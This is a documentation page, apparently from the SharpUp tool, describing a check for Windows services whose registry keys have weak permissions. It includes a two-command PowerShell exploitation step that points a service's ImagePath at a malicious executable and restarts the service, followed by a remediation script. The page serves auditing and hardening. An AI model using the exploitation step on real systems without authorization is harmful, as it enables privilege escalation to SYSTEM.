Modifiable Service Registry Keys

Overview

The Modifiable Service Registry Keys check identifies Windows services where the registry key under HKLM:\SYSTEM\CurrentControlSet\Services\ has weak permissions. If a user can modify a service’s registry key, they can change service configuration including the executable path, achieving privilege escalation.

How It Works

SharpUp enumerates all services and checks registry permissions:

Get list of all services
For each service, check HKLM:\SYSTEM\CurrentControlSet\Services\[ServiceName]
Evaluate if current user has write permissions to the key
Report vulnerable services with their state and startup mode

Example Output

=== Services with Modifiable Registry Keys ===
    Service 'VulnSvc' (State: Running, StartMode: Automatic) : SYSTEM\CurrentControlSet\Services\VulnSvc

Exploitation

# Modify service ImagePath to run malicious executable
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\VulnSvc" `
    -Name "ImagePath" `
    -Value "C:\temp\malicious.exe"

# Restart service
Restart-Service -Name VulnSvc

Remediation

Fix Registry Permissions

$serviceName = "VulnSvc"
$keyPath = "HKLM:\SYSTEM\CurrentControlSet\Services\$serviceName"

$acl = Get-Acl $keyPath
$acl.Access | Where-Object {
    $_.IdentityReference -notmatch "SYSTEM|Administrators|TrustedInstaller" -and
    $_.RegistryRights -match "WriteKey|SetValue|CreateSubKey"
} | ForEach-Object { $acl.RemoveAccessRule($_) }

Set-Acl $keyPath $acl

Modifiable Services

Services with weak DACL permissions

Modifiable Service Binaries

Service executables with weak permissions

Modifiable Service Binaries Unquoted Service Path

⌘I

Getting Started

Service Checks

Registry Checks

Credential Checks

DLL & Path Checks

Token & Privileges

Remediation

Overview

How It Works

Example Output

Exploitation

Remediation

Modifiable Services

Modifiable Service Binaries

​Overview

​How It Works

​Example Output

​Exploitation

​Remediation

​Related Checks

Modifiable Services

Modifiable Service Binaries

Overview

How It Works

Example Output

Exploitation

Remediation

Related Checks